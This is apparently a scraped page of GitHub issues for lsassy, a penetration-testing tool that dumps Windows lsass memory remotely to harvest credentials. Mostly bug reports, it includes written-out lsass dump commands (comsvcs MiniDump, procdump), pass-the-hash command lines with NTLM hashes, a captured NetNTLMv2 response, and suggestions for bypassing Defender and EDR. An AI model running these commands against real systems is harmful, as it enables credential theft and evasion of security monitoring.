raise Exception("An error occured while uploading %s on %s share : %s" % (path_name, share_name, e))
Exception: An error occured while uploading \Windows\Temp\procdump.exe on C$ share : SMB SessionError: STATUS_ACCESS_DENIED({Access Denied} A process has requested access to an object but has not been granted those access rights.)

Work with SOCKS proxies, add a `-no-pass` option

When relaying NTLM authentications, ntlmrelayx.py has the ability to open SOCKS proxies, hence allowing other scripts like secretsdump, psexec and so on to do their things via these proxies. It could be nice to add this feature to lsassy.

In addition to that, some impacket script have the -no-pass option allowing to connect through those proxies without having to enter a password or hash, since the authentication has already happened when relaying.

I don't think I'd have the time or ability to add this feature to lsassy so here you go :)

CME lsassy module cannot work against firewalled target

Describe the bug
When executing the lsassy module against a target with the Windows Firewall on, the only execution method that works is atexec [an issue has been opened on the wmiexec command execution on the crackmapexec repo]. Because of this there are errors in how lsassy executes with the atexec execution method. When the firewall is off on the target the wmiexec command execution can be invoked thus successfully dumping the hashes.

Expected behavior
A remote dump of the lsass.exe and parsing of the dump file via lsassy.
target: Windows 10 18362 x64
cme: 4.0.1dev - Bug Pr0n

Error Output
DEBUG Executed command via atexec
DEBUG Generated argument XML: /C powershell.exe -NoP -C "C:\Windows\System32\rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump (Get-Process lsass).Id \Windows\Temp\tmp.dmp full;Wait-Process -Id (Get-Process rundll32).id" > \192.168.1.153\NLOKA\oucvFSxf.tmp 2>&1
DEBUG Creating task \oucvFSxf
DEBUG Running task \oucvFSxf
DEBUG Calling SchRpcGetLastRunInfo for \oucvFSxf
DEBUG Deleting task \oucvFSxf
DEBUG Incoming connection (192.168.1.252,50020)
DEBUG AUTHENTICATE_MESSAGE (GOT\WINTERFELL$,WINTERFELL)
DEBUG User WINTERFELL$\WINTERFELL authenticated successfully
DEBUG WINTERFELL$::GOT:4141414141414141:b635f6e492d9e85624cb3886b83e7b95:01010000000000008007cd18bce5d5010ce526e326a10e24000000000100100059004800730059007000480050004500020010004f0065006a0073007400470044006d000300100059004800730059007000480050004500040010004f0065006a0073007400470044006d00070008008007cd18bce5d5010600040002000000080030003000000000000000000000000040000063588c65f063ba4b97b74983ae6ff6ddef1d8b7a4e49e474f4df8552b01d64ea0a001000000000000000000000000000000000000900240063006900660073002f003100390032002e003100360038002e0031002e003100350033000000000000000000
LSASSY 192.168.1.252 445 WINTERFELL [+] Process lsass.exe was successfully dumped
LSASSY 192.168.1.252 445 WINTERFELL [*] Parsing dump file with lsassy
DEBUG Lsassy command : lsassy -j -q --hashes : --dumppath 'C$/Windows/Temp//tmp.dmp' 'GOT/administrator:[email protected]'
LSASSY 192.168.1.252 445 WINTERFELL [-] Error while executing lsassy, try using CrackMapExec with --verbose to get more details
DEBUG Detailed error : Traceback (most recent call last):
File "/usr/local/lib/python3.7/dist-packages/impacket/smbconnection.py", line 546, in openFile
securityFlags, oplockLevel, createContexts)
File "/usr/local/lib/python3.7/dist-packages/impacket/smb3.py", line 989, in create
if ans.isValidAnswer(STATUS_SUCCESS):
File "/usr/local/lib/python3.7/dist-packages/impacket/smb3structs.py", line 437, in isValidAnswer
raise smb3.SessionError(self['Status'], self)
impacket.smb3.SessionError: SMB SessionError: STATUS_OBJECT_NAME_NOT_FOUND(The object name is not found.)

During handling of the above exception, another exception occurred:

Traceback (most recent call last):
File "/usr/local/lib/python3.7/dist-packages/lsassy/impacketconnection.py", line 83, in openFile
fid = self.conn.openFile(tid, fpath, desiredAccess=FILE_READ_DATA)
File "/usr/local/lib/python3.7/dist-packages/impacket/smbconnection.py", line 548, in openFile
raise SessionError(e.get_error_code(), e.get_error_packet())
impacket.smbconnection.SessionError: SMB SessionError: STATUS_OBJECT_NAME_NOT_FOUND(The object name is not found.)

During handling of the above exception, another exception occurred:

Traceback (most recent call last):
File "/usr/local/bin/lsassy", line 10, in
sys.exit(run())
File "/usr/local/lib/python3.7/dist-packages/lsassy/main.py", line 84, in run
ifile.open(conn, file_path)
File "/usr/local/lib/python3.7/dist-packages/lsassy/impacketfile.py", line 33, in open
self._fid = self._conn.openFile(self._tid, self._fpath)
File "/usr/local/lib/python3.7/dist-packages/lsassy/impacketconnection.py", line 91, in openFile
raise Exception(e)
Exception: SMB SessionError: STATUS_OBJECT_NAME_NOT_FOUND(The object name is not found.)

LSASSY 192.168.1.252 445 WINTERFELL [-] Error deleting lsass dump : SMB SessionError: STATUS_NO_SUCH_FILE({File Not Found} The file %hs does not exist.)

Additional context
The issue regarding wmiexec against a firewalled target can be found here: byt3bl33d3r/CrackMapExec#336

[Feature Request] Add smbexec-style execution method to lsassy

Lsassy currently only supports wmi and task exec methods. Wmi does not work through an ntlmrelayx socks proxy, and the task exec method seems flaky at best when run through a proxy. Adding an SMB execution method would allow lsassy to be run through relayed SMB sessions.

Kerberos Ticket Dump Enhancement

Version(s)

  • lsassy : version 3.1.8
  • CME : version 6

Describe the Enhancement

As discussed it would be pretty useful if we could see the expiry datetime of the Kirbi tickets, potentially in their filename if not too long. Also in a universal date format, not with month before the day which is confusing for non-Americans :-). These tickets are generated from this command:

lsassy 192.168.32.131 -u Administrator -p Password1 --users -K tickets -dc-ip 192.168.32.131

This would help us priortise which ones are ending soonest and also allow us to pick and choose which ones we want to convert to a ccache file.

Current filenames:

image

Bypass antivirus

Under certain circumstances (e.g. Microsoft Defender active), no dump can be performed with lsassy. This is due to the fact that the dump of the lsass.exe process is considered.

However, the following works:

$ psexec.py host.example.com 'tasklist /fi "imagename eq lsass.exe"'
[CUT]
Image Name                     PID Session Name        Session#    Mem Usage
========================= ======== ================ =========== ============
lsass.exe                     1337 Services                   0     49,680 K
[CUT]
$ psexec.py -c procdump64.exe host.example.com '-accepteula -ma 1337 c:\lsass.dmp'
[CUT]
[01:23:45] Dump 1 initiated: c:\lsass.dmp
[CUT]

I don't know whether it would make sense for you to include this bypass in lsassy?

Thanks for your awesome work! :)

Add a parse-only option

Please implement an option that doesn't perform dumping just parses an already existing remote LSASS dump.
This would be beneficial for the following cases:

  1. If dumping succeeds but parsing fails, user can just retry the parsing without dumping again
  2. If a different tool/method was used to create the dump remotely.

Thank you.

Help Needed: Automating tests

lsassy

Description

lsassy is a Python tool designed to remotely extract credentials from a set of hosts, particularly targeting the lsass process on these hosts. This is done in two steps First, code must be executed on the remote target to dump lsass. Then, the dump must be parsed remotely to extract the passwords.

Workflow

Here is how a dump and parsing works in a nutshell:

https://github.com/Hackndo/lsassy/blob/4b1ddf1b3491b014aa27a68f3aa26cb0c962b0a5/lsassy/console.py#L99

From console.py, the ThreadPool is used to execute different lsassy instances in different threads

https://github.com/Hackndo/lsassy/blob/4b1ddf1b3491b014aa27a68f3aa26cb0c962b0a5/lsassy/core.py#L149

Get an SMB session with the target and provided credentials (checks for admin rights)

https://github.com/Hackndo/lsassy/blob/4b1ddf1b3491b014aa27a68f3aa26cb0c962b0a5/lsassy/core.py#L170

Get the dumping method (defined globally in https://github.com/Hackndo/lsassy/blob/master/lsassy/dumpmethod/__init__.py and every dump method will override get_commands)

https://github.com/Hackndo/lsassy/blob/4b1ddf1b3491b014aa27a68f3aa26cb0c962b0a5/lsassy/core.py#L175 to actually dump lsass remotely.

https://github.com/Hackndo/lsassy/blob/4b1ddf1b3491b014aa27a68f3aa26cb0c962b0a5/lsassy/dumpmethod/__init__.py#L291

For dumping lsass, a command line is remotely executed on the target using one of the executors (SMB using services by default, code stolen from impacket)

https://github.com/Hackndo/lsassy/blob/4b1ddf1b3491b014aa27a68f3aa26cb0c962b0a5/lsassy/dumpmethod/__init__.py#L300

Checks if dump was successful

https://github.com/Hackndo/lsassy/blob/4b1ddf1b3491b014aa27a68f3aa26cb0c962b0a5/lsassy/core.py#L193

Then back to core.py, instantiating Parser that will use Pypykatz project to parse the lsass dump remotely.

https://github.com/Hackndo/lsassy/blob/4b1ddf1b3491b014aa27a68f3aa26cb0c962b0a5/lsassy/core.py#L208

To write credentials in console (and file if asked)

Goal

I want to create tests for lsassy to ensure that all features and options work correctly with each new version release.
I know how to create tests for everything that happens locally on my machine (and on Github actions), like testing threads number, instantiating classes dynamically, stuff like that.

My issue

The problem I encounter is testing network functionalities. I know about mock from unittest but I don't think it's enough for what I need.

For instance:

These are behaviors I can test if I execute lsassy in a controlled environment, with a Windows machine whose IP address I know. However, I would like to be able to launch tests from anywhere.

Ideas

One solution I can think of would be to use Docker, with a Linux machine executing the tool, and a Windows machine that would be the target.

But I'm not sure it's a good solution, and I would really appreciate some input

Thanks a lot

An unknown error has occurred

Version(s)

  • lsassy : version 3.0.0

Describe the bug

An unknown error has occurred when running lsassy v3.0.0. No error when running using v2

Expected behavior

No error and a dump

Screenshots

┌──(mpgn㉿kali)-[~/lsassy]
└─$ poetry run lsassy -u harry -p October2021 192.168.133.167 -vvvvv -e task                                                                                                                      1 ⨯
[*] 192.168.133.167 SMB session opened
[+] 192.168.133.167 Authentication successful
[*] 192.168.133.167 Dumping via lsassy.dumpmethod.comsvcs
[*] 192.168.133.167 Trying task method
[*] 192.168.133.167 Building command - Exec Method has seDebugPrivilege: True | seDebugPrivilege needed: True | Powershell allowed: True
[*] 192.168.133.167 for /f "tokens=1,2 delims= " ^%A in ('"tasklist /fi "Imagename eq lsass.exe" | find "lsass""') do rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump ^%B \Windows\Temp\rbIVN9ar.dmp full
[*] 192.168.133.167 Transformed command: cmd.exe /Q /c for /f "tokens=1,2 delims= " ^%A in ('"tasklist /fi "Imagename eq lsass.exe" | find "lsass""') do rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump ^%B \Windows\Temp\rbIVN9ar.dmp full
[*] 192.168.133.167 Executing using lsassy.exec.task
[*] 192.168.133.167 Register random task 593R2vzw
[*] 192.168.133.167 /Windows/Temp//rbIVN9ar.dmp handle acquired
[+] 192.168.133.167 Lsass dumped successfully in C:\Windows\Temp\rbIVN9ar.dmp
[*] 192.168.133.167 Found ThreadListStream @648 Size: 1444
[*] 192.168.133.167 Found ModuleListStream @bf8 Size: 13288
[*] 192.168.133.167 Found Memory64ListStream @10517 Size: 14416
[*] 192.168.133.167 Found SystemInfoStream @bc Size: 56
[*] 192.168.133.167 Found MiscInfoStream @f4 Size: 1364
[*] 192.168.133.167 Found SystemMemoryInfoStream @3fe0 Size: 492
[*] 192.168.133.167 SystemMemoryInfoStream parsing is not implemented (Missing documentation)
[*] 192.168.133.167 Found ProcessVmCountersStream @41cc Size: 152
[*] 192.168.133.167 ProcessVmCountersStream parsing is not implemented (Missing documentation)
[*] 192.168.133.167 Found UnusedStream @0 Size: 0
[*] 192.168.133.167 Found UnusedStream @0 Size: 0
[*] 192.168.133.167 Found UnusedStream @0 Size: 0
[*] 192.168.133.167 Found UnusedStream @0 Size: 0
[*] 192.168.133.167 Found UnusedStream @0 Size: 0
[*] 192.168.133.167 Found UnusedStream @0 Size: 0
[*] 192.168.133.167 None
[x] 192.168.133.167 An unknown error has occurred.
Traceback (most recent call last):
  File "/home/mpgn/lsassy/src/lsassy/core.py", line 180, in run
    credentials = Parser(file).parse(parse_only=parse_only)
  File "/home/mpgn/lsassy/src/lsassy/parser.py", line 19, in parse
    pypy_parse = pypykatz.parse_minidump_external(self._dumpfile)
  File "/home/mpgn/.cache/pypoetry/virtualenvs/lsassy-Y5fUQQ3o-py3.9/lib/python3.9/site-packages/pypykatz/pypykatz.py", line 164, in parse_minidump_external
    mimi.start()
  File "/home/mpgn/.cache/pypoetry/virtualenvs/lsassy-Y5fUQQ3o-py3.9/lib/python3.9/site-packages/pypykatz/pypykatz.py", line 338, in start
    self.get_kerberos()
  File "/home/mpgn/.cache/pypoetry/virtualenvs/lsassy-Y5fUQQ3o-py3.9/lib/python3.9/site-packages/pypykatz/pypykatz.py", line 309, in get_kerberos
    dec.start()
  File "/home/mpgn/.cache/pypoetry/virtualenvs/lsassy-Y5fUQQ3o-py3.9/lib/python3.9/site-packages/pypykatz/lsadecryptor/packages/kerberos/decryptor.py", line 110, in start
    self.process_session(kerberos_logon_session)
  File "/home/mpgn/.cache/pypoetry/virtualenvs/lsassy-Y5fUQQ3o-py3.9/lib/python3.9/site-packages/pypykatz/lsadecryptor/packages/kerberos/decryptor.py", line 209, in process_session
    self.walk_list(kerberos_logon_session.Tickets_1.Flink, self.handle_ticket , override_ptr = self.decryptor_template.kerberos_ticket_struct)
  File "/home/mpgn/.cache/pypoetry/virtualenvs/lsassy-Y5fUQQ3o-py3.9/lib/python3.9/site-packages/pypykatz/lsadecryptor/package_commons.py", line 182, in walk_list
    callback(entry)
  File "/home/mpgn/.cache/pypoetry/virtualenvs/lsassy-Y5fUQQ3o-py3.9/lib/python3.9/site-packages/pypykatz/lsadecryptor/packages/kerberos/decryptor.py", line 87, in handle_ticket
    raise e
  File "/home/mpgn/.cache/pypoetry/virtualenvs/lsassy-Y5fUQQ3o-py3.9/lib/python3.9/site-packages/pypykatz/lsadecryptor/packages/kerberos/decryptor.py", line 83, in handle_ticket
    kt = KerberosTicket.parse(kerberos_ticket, self.reader, self.decryptor_template.sysinfo, self.current_ticket_type)
  File "/home/mpgn/.cache/pypoetry/virtualenvs/lsassy-Y5fUQQ3o-py3.9/lib/python3.9/site-packages/pypykatz/commons/kerberosticket.py", line 134, in parse
    kt.ServiceName_type = kerberos_ticket.ServiceName.read(reader).NameType
AttributeError: 'NoneType' object has no attribute 'NameType'
[*] 192.168.133.167 Cleaning...
[*] 192.168.133.167 dumper: <lsassy.dumpmethod.comsvcs.DumpMethod object at 0x7f4180cebf40>
[*] 192.168.133.167 file: <lsassy.impacketfile.ImpacketFile object at 0x7f4180cdd5b0>
[*] 192.168.133.167 session: <lsassy.session.Session object at 0x7f4180cdd520>
[*] 192.168.133.167 Dumper cleaned
[*] 192.168.133.167 File closed

Additional context

If I comment the code so the dump file is not deleted, I can read it with pypykatz as minidump.

pipenv shell

Not sure if running in pipenv shell is the issue, but getting the error after a successful dump of lsass.exe:

Detailed error : /bin/sh: 1: lsassy: not found

Thoughts?

Obfuscation-(not a bug)

First of all Great tool

I got detected by windows defender is there any method that you guys use to bypass it?

i give the tool a try but got flagged by windows defender latest version full patched

[Feature] Optionally use UNC path with `dumpertdll` module to run dumpert DLL from SMB share

Hello! First I would like to say congratulations on the 3.0.0 release, the new improvements look awesome! I had an idea while reading some of the new dumping methods, specifically dumpertdll.

rundll32 can run DLLs from SMB shares, they don't have to be on the disk. My idea was to run an SMB share (like with Samba or impacket-smbshare, not lsassy) and then place the dumpert DLL file in that share. You could then provide the UNC path to the dumpert DLL in the "dumpertdll_path" option, and lsassy would tell rundll32 to call the dumpert DLL from the SMB share, instead of having to upload it.

I've had lots of luck with this method when trying to spawn sliver agents using a DLL loaded from an SMB share, and it would also prevent the OPSEC hit of having to upload the file to disk. Finally, if something goes wrong during the dump (like AV gets wind of what your doing) there is no risk of the dumpert DLL persisting after aborted execution because it couldn't be deleted.

The format switch is not used when combined with the outputfile switch

Describe the bug
When using lsassy with both the -o and -f switches, the output file is always in the same standard format:

$ lsassy -u Administrator -d TEST.LOCAL -p toto 172.16.1.1 -o creds.json -f json
$ cat creds.json 
172.16.1.1  TEST\Administrator              :fbbf55d0ef0e34d39593f55c5f2ca5f2

Expected behavior
The output should be:

$ lsassy -u Administrator -d TEST.LOCAL -p toto 172.16.1.1 -o creds.json -f json
$ cat creds.json 
{"TEST": {"Administrator": [{"password": null, "lmhash": null, "nthash": "fbbf55d0ef0e34d39593f55c5f2ca5f2"}]}}

EDRSandblast: use both --usermode & --kernelmode options

https://github.com/Hackndo/lsassy/blob/f72eeb9eeeb22a37d6c94c6460fe7740e5e709ae/lsassy/dumpmethod/edrsandblast.py#L44

Hello Pixis (and potential EDRSandblast users),

I recommend to use both --usermode and --kernelmode options (the former does not imply the latter).

Since loading a driver is needed for the kernel land bypasses to take place, and NtLoadDriver syscall might be hooked in userland, using both options reduces the risk of detection ;)

cheers

Lsassy CME module throwing missing required time_between_commands argument error

Lsassy Version: lsassy v3.1.6 - Remote lsass dump reader
CME version: 5.2.3

Command run:
cme smb targets.txt -u username -H ntlmhashvalue --local-auth --no-bruteforce -M lsassy

Error Message:

  File "/usr/local/bin/cme", line 8, in <module>
    sys.exit(main())
  File "/ptest/pipx/venvs/crackmapexec/lib/python3.8/site-packages/cme/crackmapexec.py", line 254, in main
    asyncio.run(
  File "/usr/lib/python3.8/asyncio/runners.py", line 44, in run
    return loop.run_until_complete(main)
  File "/usr/lib/python3.8/asyncio/base_events.py", line 616, in run_until_complete
    return future.result()
  File "/ptest/pipx/venvs/crackmapexec/lib/python3.8/site-packages/cme/crackmapexec.py", line 102, in start_threadpool
    await asyncio.gather(*jobs)
  File "/ptest/pipx/venvs/crackmapexec/lib/python3.8/site-packages/cme/crackmapexec.py", line 68, in run_protocol
    await asyncio.wait_for(
  File "/usr/lib/python3.8/asyncio/tasks.py", line 455, in wait_for
    return await fut
  File "/usr/lib/python3.8/concurrent/futures/thread.py", line 57, in run
    result = self.fn(*self.args, **self.kwargs)
  File "/ptest/pipx/venvs/crackmapexec/lib/python3.8/site-packages/cme/protocols/smb.py", line 125, in __init__
    connection.__init__(self, args, db, host)
  File "/ptest/pipx/venvs/crackmapexec/lib/python3.8/site-packages/cme/connection.py", line 62, in __init__
    self.proto_flow()
  File "/ptest/pipx/venvs/crackmapexec/lib/python3.8/site-packages/cme/connection.py", line 100, in proto_flow
    self.call_modules()
  File "/ptest/pipx/venvs/crackmapexec/lib/python3.8/site-packages/cme/connection.py", line 132, in call_modules
    self.module.on_admin_login(context, self)
  File "/ptest/pipx/venvs/crackmapexec/lib/python3.8/site-packages/cme/modules/lsassy_dump.py", line 55, in on_admin_login
    dumper = Dumper(session, timeout=10).load(self.method)
TypeError: __init__() missing 1 required positional argument: 'time_between_commands'

Local Administrator considered as DA

Describe the bug
When using Bloodhound with CME module, if local Administrator account was dumped, lsassy thinks it's domain account, and returns "PATH TO DA"

Expected behavior
Detect local account

Issue with lsassy Module on CrackMapExec 5.0.0dev

➜  ~ pipenv run crackmapexec --verbose smb /root/Desktop/Pentest/targets.txt -u 'Administrator' -H 'aad3b435b51404eeaad3b435b51404ee:89551acff8895768e489bb3054af94fd' -d CEH -M lsassy -o METHOD=1 BLOODHOUND=true NEO4JPASS=toor
DEBUG Passed args:
{'clear_obfscripts': False,
 'content': False,
 'continue_on_success': False,
 'cred_id': [],
 'darrell': False,
 'depth': None,
 'disks': False,
 'domain': 'CEH',
 'exclude_dirs': '',
 'exec_method': None,
 'execute': None,
 'fail_limit': None,
 'force_ps32': False,
 'gen_relay_list': None,
 'gfail_limit': None,
 'groups': None,
 'hash': ['aad3b435b51404eeaad3b435b51404ee:89551acff8895768e489bb3054af94fd'],
 'jitter': None,
 'list_modules': False,
 'local_auth': False,
 'local_groups': None,
 'loggedon_users': False,
 'lsa': False,
 'module': 'lsassy',
 'module_options': ['METHOD=1', 'BLOODHOUND=true', 'NEO4JPASS=toor'],
 'no_output': False,
 'ntds': None,
 'obfs': False,
 'only_files': False,
 'pass_pol': False,
 'password': [],
 'pattern': None,
 'port': 445,
 'protocol': 'smb',
 'ps_execute': None,
 'regex': None,
 'rid_brute': None,
 'sam': False,
 'server': 'https',
 'server_host': '0.0.0.0',
 'server_port': None,
 'sessions': False,
 'share': 'C$',
 'shares': False,
 'show_module_options': False,
 'spider': None,
 'spider_folder': '.',
 'target': ['/root/Desktop/Pentest/targets.txt'],
 'threads': 100,
 'timeout': None,
 'ufail_limit': None,
 'username': ['Administrator'],
 'users': None,
 'verbose': True,
 'wmi': None,
 'wmi_namespace': 'root\\cimv2'}
SMB         192.168.1.200   445    WIN12-SERVER     [*] Windows Server 2012 R2 Datacenter 9600 x64 (name:WIN12-SERVER) (domain:CEH) (signing:True) (SMBv1:True)
SMB         192.168.1.250   445    PC               [*] Windows 7 Professional 7600 x64 (name:PC) (domain:CEH) (signing:False) (SMBv1:True)
DEBUG add_credential(credtype=hash, domain=CEH, username=Administrator, password=aad3b435b51404eeaad3b435b51404ee:89551acff8895768e489bb3054af94fd, groupid=None, pillaged_from=None) => None
SMB         192.168.1.200   445    WIN12-SERVER     [+] CEH\Administrator aad3b435b51404eeaad3b435b51404ee:89551acff8895768e489bb3054af94fd (Pwn3d!)
DEBUG [#0000]  C: <RESOLVE> Address(host='127.0.0.1', port=7687)
DEBUG [#0000]  C: <OPEN> ('127.0.0.1', 7687)
DEBUG [#E306]  C: <SECURE> 127.0.0.1
DEBUG [#E306]  C: <MAGIC> 0x6060B017
DEBUG [#E306]  C: <HANDSHAKE> 0x00000003 0x00000002 0x00000001 0x00000000
DEBUG [#E306]  S: <HANDSHAKE> 0x00000003
DEBUG [#E306]  C: HELLO {'user_agent': 'neobolt/1.7.16 Python/3.7.6-final-0 (linux)', 'scheme': 'basic', 'principal': 'neo4j', 'credentials': '*******'}
DEBUG [#E306]  S: SUCCESS {'server': 'Neo4j/3.5.3', 'connection_id': 'bolt-5'}
DEBUG [#E306]  C: BEGIN {}
DEBUG [#E306]  C: RUN 'MATCH (c:Computer {name:"WIN12-SERVER.CEH"}) SET c.owned=True RETURN c.name AS name' {} {}
DEBUG [#E306]  C: PULL_ALL
DEBUG [#E306]  S: SUCCESS {}
DEBUG [#E306]  S: SUCCESS {'t_first': 1, 'fields': ['name']}
DEBUG [#E306]  S: SUCCESS {'type': 'rw', 't_last': 0}
DEBUG [#E306]  C: COMMIT
DEBUG [#E306]  S: SUCCESS {'bookmark': 'neo4j:bookmark:v1:tx340'}
LSASSY      192.168.1.200   445    WIN12-SERVER     [-] Node WIN12-SERVER.CEH does not appear to be in Neo4J database. Have you imported correct data ?
DEBUG [#E306]  C: GOODBYE
DEBUG [#E306]  C: <CLOSE>
LSASSY      192.168.1.200   445    WIN12-SERVER     [*] Parsing lsass with lsassy
DEBUG Lsassy command : lsassy --format json -d 'CEH' -u 'Administrator' -p '' -H 'aad3b435b51404eeaad3b435b51404ee:89551acff8895768e489bb3054af94fd' 192.168.1.200 -vv  --method 1
DEBUG add_credential(credtype=hash, domain=CEH, username=Administrator, password=aad3b435b51404eeaad3b435b51404ee:89551acff8895768e489bb3054af94fd, groupid=None, pillaged_from=None) => None
SMB         192.168.1.250   445    PC               [+] CEH\Administrator aad3b435b51404eeaad3b435b51404ee:89551acff8895768e489bb3054af94fd (Pwn3d!)
DEBUG [#0000]  C: <RESOLVE> Address(host='127.0.0.1', port=7687)
DEBUG [#0000]  C: <OPEN> ('127.0.0.1', 7687)
DEBUG [#E30A]  C: <SECURE> 127.0.0.1
DEBUG [#E30A]  C: <MAGIC> 0x6060B017
DEBUG [#E30A]  C: <HANDSHAKE> 0x00000003 0x00000002 0x00000001 0x00000000
DEBUG [#E30A]  S: <HANDSHAKE> 0x00000003
DEBUG [#E30A]  C: HELLO {'user_agent': 'neobolt/1.7.16 Python/3.7.6-final-0 (linux)', 'scheme': 'basic', 'principal': 'neo4j', 'credentials': '*******'}
DEBUG [#E30A]  S: SUCCESS {'server': 'Neo4j/3.5.3', 'connection_id': 'bolt-6'}
DEBUG [#E30A]  C: BEGIN {}
DEBUG [#E30A]  C: RUN 'MATCH (c:Computer {name:"PC.CEH"}) SET c.owned=True RETURN c.name AS name' {} {}
DEBUG [#E30A]  C: PULL_ALL
DEBUG [#E30A]  S: SUCCESS {}
DEBUG [#E30A]  S: SUCCESS {'t_first': 1, 'fields': ['name']}
DEBUG [#E30A]  S: SUCCESS {'type': 'rw', 't_last': 0}
DEBUG [#E30A]  C: COMMIT
DEBUG [#E30A]  S: SUCCESS {'bookmark': 'neo4j:bookmark:v1:tx340'}
LSASSY      192.168.1.250   445    PC               [-] Node PC.CEH does not appear to be in Neo4J database. Have you imported correct data ?
DEBUG [#E30A]  C: GOODBYE
DEBUG [#E30A]  C: <CLOSE>
LSASSY      192.168.1.250   445    PC               [*] Parsing lsass with lsassy
DEBUG Lsassy command : lsassy --format json -d 'CEH' -u 'Administrator' -p '' -H 'aad3b435b51404eeaad3b435b51404ee:89551acff8895768e489bb3054af94fd' 192.168.1.250 -vv  --method 1
DEBUG ----- lsassy output -----
Traceback (most recent call last):
  File "src/gevent/greenlet.py", line 766, in gevent._greenlet.Greenlet.run
  File "/usr/lib/python3/dist-packages/cme/protocols/smb.py", line 110, in __init__
    connection.__init__(self, args, db, host)
  File "/usr/lib/python3/dist-packages/cme/connection.py", line 42, in __init__
    self.proto_flow()
  File "/usr/lib/python3/dist-packages/cme/connection.py", line 76, in proto_flow
    self.call_modules()
  File "/usr/lib/python3/dist-packages/cme/connection.py", line 106, in call_modules
    self.module.on_admin_login(context, self)
  File "/usr/lib/python3/dist-packages/cme/modules/lsassy.py", line 120, in on_admin_login
    for line in out.split("\n"):
TypeError: a bytes-like object is required, not 'str'
2020-02-09T14:27:07Z <Greenlet at 0x7f2a2c5c5dd0: smb(Namespace(clear_obfscripts=False, content=False, c, <protocol.database object at 0x7f2a2c3a0e10>, '192.168.1.200')> failed with TypeError

DEBUG ----- lsassy output -----
Traceback (most recent call last):
  File "src/gevent/greenlet.py", line 766, in gevent._greenlet.Greenlet.run
  File "/usr/lib/python3/dist-packages/cme/protocols/smb.py", line 110, in __init__
    connection.__init__(self, args, db, host)
  File "/usr/lib/python3/dist-packages/cme/connection.py", line 42, in __init__
    self.proto_flow()
  File "/usr/lib/python3/dist-packages/cme/connection.py", line 76, in proto_flow
    self.call_modules()
  File "/usr/lib/python3/dist-packages/cme/connection.py", line 106, in call_modules
    self.module.on_admin_login(context, self)
  File "/usr/lib/python3/dist-packages/cme/modules/lsassy.py", line 120, in on_admin_login
    for line in out.split("\n"):
TypeError: a bytes-like object is required, not 'str'
2020-02-09T14:27:12Z <Greenlet at 0x7f2a2d2505f0: smb(Namespace(clear_obfscripts=False, content=False, c, <protocol.database object at 0x7f2a2c3a0e10>, '192.168.1.250')> failed with TypeError

Using lsassy on Ubuntu WSL

Describe the bug
Maybe not so much a bug as a desire to see if it would run in WSL. Thinking Windows store apps can be accessed by non-admin users and then install Ubuntu along with lsassy. Should this be a pull request? A little new to the game here but testing my limits.

Expected behavior
Here are my steps:
Install WSL on Win10 device
Install Ubuntu from Windows store
Check if Python3 is installed
python3 --version
Install Python 3 (if needed)
sudo apt install python3
Update apt-get
sudo apt-get update
Install netaddr
sudo apt-get install -y python-netaddr
Pip3 install netaddr
Install pip3
sudo apt-get install python3-pip
Install pypykatz
pip3 install pypykatz
Clone Impacket
sudo git clone https://github.com/SecureAuthCorp/impacket.git
cd impacket/
sudo python3 setup.py install
Install lsassy
sudo python3.6 -m pip install lsassy

Screenshots

Additional context
The command and results
user@computer:/$ lsassy domain/%username%:%Password%@%FQDN_deviceName
Traceback (most recent call last):
File "/usr/local/bin/lsassy", line 11, in
sys.exit(run())
File "/usr/local/lib/python3.6/dist-packages/lsassy/core.py", line 208, in run
targets = get_targets(get_args().target)
File "/usr/local/lib/python3.6/dist-packages/lsassy/utils/utils.py", line 134, in get_targets
ret_targets += parse_targets(target)
File "/usr/local/lib/python3.6/dist-packages/lsassy/utils/utils.py", line 101, in parse_targets
t = IPRange(ip_range[0], ip_range[1])
File "/usr/local/lib/python3.6/dist-packages/netaddr/ip/init.py", line 1357, in init
self._start = IPAddress(start, flags=flags)
File "/usr/local/lib/python3.6/dist-packages/netaddr/ip/init.py", line 280, in init
% self.class.name)
ValueError: IPAddress() does not support netmasks or subnet prefixes! See documentation for details.

Protected lsass?

Probably not a bug and more likely a mis-usage of my part but I could not find much info.

I am executing the following command:

lsassy -d SomeDomain -u SomeAdminUser -p SomePassword 10.0.2.4

But I am getting the following error:
[X] [10.0.2.4] Either lsass is protected or target might be slow or procdump/dumpert wasn't provided

Also, tried adding -m with 0-5 and providing prodump and dumpert but still getting the same error.

If I log into machine 10.0.2.4, I can dump lsass using prodump or taskmgr.

Add export feature

Add an export feature that allows an export of the credentials found with lsassy into a file.

Exemple

lsassy adsec.local/jsnow:[email protected] --export /tmp/my_export

Where my_export contains:

machine[TAB]domain\user[TAB]hash[TAB]cleartext
machine[TAB]machine\user[TAB]hash[TAB]cleartext

why tabulations as delimiter ? To avoid problem since a cleartext password can contains special char.

issues

Hello Hackndo,
Thanks for this amazing tool, i've tried to combine lsassy to cme using this command "cme smb 192.168.2.0/24 -u Administrateur -p P@ssword@2019 -M lsassy -o PROCDUMP_PATH='/tmp/' PROCDUMP_EXE_NAME='procdump64.exe' " , unfortunately i get some error you will find it below

image

Do you have some suggestions

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.